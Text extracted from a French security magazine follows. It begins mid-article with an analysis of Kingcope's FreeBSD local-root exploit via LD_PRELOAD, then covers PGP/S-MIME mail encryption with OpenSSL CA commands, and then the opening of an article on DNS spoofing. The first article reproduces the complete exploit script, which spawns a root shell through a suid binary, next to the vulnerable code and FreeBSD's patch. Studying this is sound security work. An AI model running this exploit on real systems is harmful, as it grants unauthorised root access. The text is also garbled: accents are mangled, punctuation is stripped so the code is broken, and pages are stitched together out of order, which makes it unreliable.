Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 30: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse
